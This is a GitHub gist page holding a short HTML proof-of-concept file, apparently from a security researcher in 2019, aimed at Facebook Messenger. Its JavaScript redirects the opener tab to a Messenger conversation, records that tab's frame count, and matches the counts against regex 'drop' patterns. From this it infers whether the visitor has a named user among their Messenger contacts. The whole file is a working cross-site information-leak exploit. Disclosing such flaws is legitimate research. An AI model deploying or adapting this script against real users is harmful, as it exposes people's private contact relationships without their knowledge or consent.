Skip to content

Instantly share code, notes, and snippets.

@masasron masasron/fb-msg-poc.html Secret
Created Feb 14, 2019

Embed
What would you like to do?
<!DOCTYPE html>
<html lang="en">
<head>
<title>2.html</title>
</head>
<body>
<script type="text/javascript">
const pattern = [];
const backgroundTab = window.opener;
const FACEBOOK_ID_OR_USERNAME = "ronmasas";
backgroundTab.location = `https://messenger.com/t/${FACEBOOK_ID_OR_USERNAME}`;
/**
* Detect the "drop" pattern
*
* @returns {bool}
*/
const hasDrop = (logs) => {
let logsStr = logs.join('');
let dropDetected = false;
if (logsStr.match(/3{30,}2{1,4}3{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/4{30,}3{1,4}4{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/5{30,}4{1,4}5{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/6{30,}5{1,4}6{30,}/i)) {
dropDetected = true;
}
if (logsStr.match(/7{30,}6{1,4}7{30,}/i)) {
dropDetected = true;
}
return dropDetected;
};
/**
* Record frames count while the background tab redirects to Messenger
*/
const recorder = setInterval(() => {
pattern.push(backgroundTab.frames.length);
}, 0);
setTimeout(() => {
// Stop the recorder
clearInterval(recorder);
// Output the result
console.log(hasDrop(pattern) ? 'Not in Messenger contacts' : 'In Messenger contacts');
}, 6 * 1000);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.